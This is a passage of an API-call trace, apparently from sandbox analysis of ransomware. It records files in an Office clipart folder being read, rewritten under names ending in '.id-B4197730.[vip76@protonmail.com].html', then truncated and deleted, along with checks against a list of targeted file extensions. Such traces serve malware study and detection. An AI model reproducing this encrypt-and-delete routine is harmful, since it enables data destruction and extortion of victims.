	[0073.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0073.688] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=9710) returned 1
	[0073.688] CloseHandle (hObject=0x2c0) returned 1
	[0073.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf")) returned 0x220
	[0073.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0073.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0073.689] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.689] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0073.689] GetLastError () returned 0x0
	[0073.689] ReadFile (in: hFile=0x2c0, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x25ee, lpOverlapped=0x0) returned 1
	[0073.691] WriteFile (in: hFile=0x390, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x25f0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x25f0, lpOverlapped=0x0) returned 1
	[0073.692] ReadFile (in: hFile=0x2c0, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0073.692] WriteFile (in: hFile=0x390, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0073.692] SetEndOfFile (hFile=0x390) returned 1
	[0073.692] CloseHandle (hObject=0x390) returned 1
	[0073.693] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.693] SetEndOfFile (hFile=0x2c0) returned 1
	[0073.694] CloseHandle (hObject=0x2c0) returned 1
	[0073.694] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0073.694] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf")) returned 1
	[0073.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68
	[0073.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68
	[0073.695] lstrlenW (lpString=".doc") returned 4
	[0073.695] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0073.695] lstrlenW (lpString=".docx") returned 5
	[0073.695] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0073.695] lstrlenW (lpString=".pdf") returned 4
	[0073.695] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0073.695] lstrlenW (lpString=".xls") returned 4
	[0073.695] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0073.695] lstrlenW (lpString=".xlsx") returned 5
	[0073.695] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0073.695] lstrlenW (lpString=".ppt") returned 4
	[0073.695] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0073.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68
	[0073.695] lstrlenW (lpString=".zip") returned 4
	[0073.695] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0073.695] lstrlenW (lpString=".rar") returned 4
	[0073.695] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0073.695] lstrlenW (lpString=".bz2") returned 4
	[0073.695] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0073.695] lstrlenW (lpString=".7z") returned 3
	[0073.695] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0073.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68
	[0073.695] lstrlenW (lpString=".dbf") returned 4
	[0073.695] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0073.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68
	[0073.695] lstrlenW (lpString=".1cd") returned 4
	[0073.695] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0073.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68
	[0073.695] lstrlenW (lpString=".jpg") returned 4
	[0073.695] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0073.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68
	[0073.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68
	[0073.696] lstrlenW (lpString=".doc") returned 4
	[0073.696] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0073.696] lstrlenW (lpString=".docx") returned 5
	[0073.696] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0073.696] lstrlenW (lpString=".pdf") returned 4
	[0073.696] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0073.696] lstrlenW (lpString=".xls") returned 4
	[0073.696] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0073.696] lstrlenW (lpString=".xlsx") returned 5
	[0073.696] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0073.696] lstrlenW (lpString=".ppt") returned 4
	[0073.696] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0073.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68
	[0073.696] lstrlenW (lpString=".zip") returned 4
	[0073.696] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0073.696] lstrlenW (lpString=".rar") returned 4
	[0073.696] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0073.696] lstrlenW (lpString=".bz2") returned 4
	[0073.696] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0073.696] lstrlenW (lpString=".7z") returned 3
	[0073.696] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0073.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68
	[0073.696] lstrlenW (lpString=".dbf") returned 4
	[0073.696] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0073.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68
	[0073.696] lstrlenW (lpString=".1cd") returned 4
	[0073.697] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0073.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68
	[0073.697] lstrlenW (lpString=".jpg") returned 4
	[0073.697] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0073.697] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0073.697] lstrlenW (lpString="BD19828_.WMF") returned 12
	[0073.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0073.698] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=8772) returned 1
	[0073.698] CloseHandle (hObject=0x2c0) returned 1
	[0073.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf")) returned 0x220
	[0073.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0073.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0073.698] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.698] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0073.699] GetLastError () returned 0x0
	[0073.699] ReadFile (in: hFile=0x2c0, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x2244, lpOverlapped=0x0) returned 1
	[0073.700] WriteFile (in: hFile=0x390, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x2250, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x2250, lpOverlapped=0x0) returned 1
	[0073.702] ReadFile (in: hFile=0x2c0, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0073.702] WriteFile (in: hFile=0x390, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0073.702] SetEndOfFile (hFile=0x390) returned 1
	[0073.702] CloseHandle (hObject=0x390) returned 1
	[0073.703] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.703] SetEndOfFile (hFile=0x2c0) returned 1
	[0073.704] CloseHandle (hObject=0x2c0) returned 1
	[0073.704] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0073.704] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf")) returned 1
	[0073.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68
	[0073.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68
	[0073.705] lstrlenW (lpString=".doc") returned 4
	[0073.705] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0073.705] lstrlenW (lpString=".docx") returned 5
	[0073.705] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0073.705] lstrlenW (lpString=".pdf") returned 4
	[0073.705] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0073.705] lstrlenW (lpString=".xls") returned 4
	[0073.705] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0073.705] lstrlenW (lpString=".xlsx") returned 5
	[0073.705] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0073.705] lstrlenW (lpString=".ppt") returned 4
	[0073.705] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0073.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68
	[0073.705] lstrlenW (lpString=".zip") returned 4
	[0073.705] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0073.705] lstrlenW (lpString=".rar") returned 4
	[0073.705] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0073.705] lstrlenW (lpString=".bz2") returned 4
	[0073.705] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0073.705] lstrlenW (lpString=".7z") returned 3
	[0073.705] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0073.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68
	[0073.705] lstrlenW (lpString=".dbf") returned 4
	[0073.705] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0073.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68
	[0073.705] lstrlenW (lpString=".1cd") returned 4
	[0073.705] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0073.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68
	[0073.705] lstrlenW (lpString=".jpg") returned 4
	[0073.706] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0073.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68
	[0073.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68
	[0073.706] lstrlenW (lpString=".doc") returned 4
	[0073.706] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0073.706] lstrlenW (lpString=".docx") returned 5
	[0073.706] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0073.706] lstrlenW (lpString=".pdf") returned 4
	[0073.706] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0073.706] lstrlenW (lpString=".xls") returned 4
	[0073.706] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0073.706] lstrlenW (lpString=".xlsx") returned 5
	[0073.706] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0073.706] lstrlenW (lpString=".ppt") returned 4
	[0073.706] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0073.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68
	[0073.706] lstrlenW (lpString=".zip") returned 4
	[0073.706] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0073.706] lstrlenW (lpString=".rar") returned 4
	[0073.706] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0073.706] lstrlenW (lpString=".bz2") returned 4
	[0073.706] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0073.706] lstrlenW (lpString=".7z") returned 3
	[0073.706] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0073.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68
	[0073.706] lstrlenW (lpString=".dbf") returned 4
	[0073.706] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0073.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68
	[0073.706] lstrlenW (lpString=".1cd") returned 4
	[0073.707] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0073.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68
	[0073.707] lstrlenW (lpString=".jpg") returned 4
	[0073.707] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0073.707] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0073.707] lstrlenW (lpString="BD19986_.WMF") returned 12
	[0073.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0073.707] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=14486) returned 1
	[0073.707] CloseHandle (hObject=0x2c0) returned 1
	[0073.707] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf")) returned 0x220
	[0073.707] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0073.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0073.708] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.708] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0073.708] GetLastError () returned 0x0
	[0073.708] ReadFile (in: hFile=0x2c0, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x3896, lpOverlapped=0x0) returned 1
	[0073.711] WriteFile (in: hFile=0x390, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x38a0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x38a0, lpOverlapped=0x0) returned 1
	[0073.712] ReadFile (in: hFile=0x2c0, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0073.712] WriteFile (in: hFile=0x390, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0073.712] SetEndOfFile (hFile=0x390) returned 1
	[0073.713] CloseHandle (hObject=0x390) returned 1
	[0073.951] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.951] SetEndOfFile (hFile=0x2c0) returned 1
	[0073.952] CloseHandle (hObject=0x2c0) returned 1
	[0073.952] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0073.953] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf")) returned 1
	[0073.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68
	[0073.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68
	[0073.953] lstrlenW (lpString=".doc") returned 4
	[0073.953] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0073.953] lstrlenW (lpString=".docx") returned 5
	[0073.953] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0073.953] lstrlenW (lpString=".pdf") returned 4
	[0073.953] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0073.953] lstrlenW (lpString=".xls") returned 4
	[0073.954] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0073.954] lstrlenW (lpString=".xlsx") returned 5
	[0073.954] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0073.954] lstrlenW (lpString=".ppt") returned 4
	[0073.954] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0073.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68
	[0073.954] lstrlenW (lpString=".zip") returned 4
	[0073.954] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0073.954] lstrlenW (lpString=".rar") returned 4
	[0073.954] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0073.954] lstrlenW (lpString=".bz2") returned 4
	[0073.954] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0073.954] lstrlenW (lpString=".7z") returned 3
	[0073.954] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0073.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68
	[0073.954] lstrlenW (lpString=".dbf") returned 4
	[0073.954] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0073.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68
	[0073.954] lstrlenW (lpString=".1cd") returned 4
	[0073.954] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0073.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68
	[0073.954] lstrlenW (lpString=".jpg") returned 4
	[0073.954] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0073.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68
	[0073.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68
	[0073.955] lstrlenW (lpString=".doc") returned 4
	[0073.955] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0073.955] lstrlenW (lpString=".docx") returned 5
	[0073.955] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0073.955] lstrlenW (lpString=".pdf") returned 4
	[0073.955] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0073.955] lstrlenW (lpString=".xls") returned 4
	[0073.955] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0073.955] lstrlenW (lpString=".xlsx") returned 5
	[0073.955] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0073.955] lstrlenW (lpString=".ppt") returned 4
	[0073.955] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0073.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68
	[0073.955] lstrlenW (lpString=".zip") returned 4
	[0073.955] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0073.955] lstrlenW (lpString=".rar") returned 4
	[0073.955] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0073.955] lstrlenW (lpString=".bz2") returned 4
	[0073.955] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0073.955] lstrlenW (lpString=".7z") returned 3
	[0073.955] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0073.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68
	[0073.955] lstrlenW (lpString=".dbf") returned 4
	[0073.955] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0073.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68
	[0073.956] lstrlenW (lpString=".1cd") returned 4
	[0073.956] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0073.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68
	[0073.956] lstrlenW (lpString=".jpg") returned 4
	[0073.956] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0073.956] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0073.956] lstrlenW (lpString="BL00148_.WMF") returned 12
